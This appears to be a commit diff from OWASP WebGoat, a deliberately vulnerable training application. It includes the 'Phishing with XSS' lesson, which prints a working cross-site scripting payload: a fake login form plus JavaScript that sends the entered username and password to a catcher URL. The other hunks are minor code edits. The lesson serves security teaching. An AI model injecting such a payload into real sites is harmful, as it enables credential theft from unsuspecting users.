+ "value="login" onclick="hack()"></form><br><br><HR>");
|
||||
/**
|
||||
* password<script>function hack(){ alert("Had this been a real
|
||||
* attack... Your credentials were just stolen.\nUser Name = " +
|
||||
* document.forms(0).user.value + "\nPassword = " +
|
||||
* document.forms(0).pass.value); XSSImage=new Image;
|
||||
* XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value +
|
||||
* "&password=" + document.forms(0).pass.value + "";}</script><form><br>
|
||||
* <br>
|
||||
* <HR>
|
||||
* <H3>This feature requires account login:</H2>
|
||||
* <br>
|
||||
* <br>
|
||||
* Enter Username:<br>
|
||||
* <input type="text" id="user" name="user"><br>
|
||||
* Enter Password:<br>
|
||||
* <input type="password" name = "pass"><br>
|
||||
* <input type="submit" name="login" value="login" onclick="hack()"></form><br>
|
||||
* <br>
|
||||
* <HR>
|
||||
* <!--
|
||||
*
|
||||
*/
|
||||
return hints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the instructions attribute of the XssSearch object
|
||||
*
|
||||
* @return The instructions value
|
||||
*/
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions =
|
||||
"This lesson is an example of how a website might support a phishing attack<BR><BR>"
|
||||
+ "Below is an example of a standard search feature.<br>"
|
||||
+ "Using XSS and HTML insertion, your goal is to: <UL>"
|
||||
+ "<LI>Insert html to that requests credentials"
|
||||
+ "<LI>Add javascript to actually collect the credentials"
|
||||
+ "<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> "
|
||||
+ "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(30);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the FailOpenAuthentication object
|
||||
*
|
||||
* @return The category value
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.XSS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the CluesScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Phishing with XSS");
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the CluesScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Phishing with XSS");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@ -41,8 +41,8 @@ import org.owasp.webgoat.session.WebSession;
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
||||
* @created October 28, 2003
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
public class UserAdminScreen extends LessonAdapter
|
||||
{
|
||||
|
||||
@ -419,8 +419,8 @@ public class Course
|
||||
}
|
||||
if(absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html") && className.endsWith(fileName))
|
||||
{
|
||||
System.out.println("DEBUG: setting lesson solution file " + absoluteFile + " for lesson " + lesson.getClass().getName());
|
||||
System.out.println("fileName: " + fileName + " == className: " + className );
|
||||
//System.out.println("DEBUG: setting lesson solution file " + absoluteFile + " for lesson " + lesson.getClass().getName());
|
||||
//System.out.println("fileName: " + fileName + " == className: " + className );
|
||||
lesson.setLessonSolutionFileName(absoluteFile);
|
||||
}
|
||||
}
|
||||
|
||||
@ -116,6 +116,15 @@ public class ECSFactory
|
||||
return (b);
|
||||
}
|
||||
|
||||
public static Element makeButton(String text, String onClickFunction)
|
||||
{
|
||||
|
||||
Input b = (Input)makeButton(text);
|
||||
b.setOnClick(onClickFunction);
|
||||
|
||||
return (b);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Description of the Method
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Loading…
x
Reference in New Issue
Block a user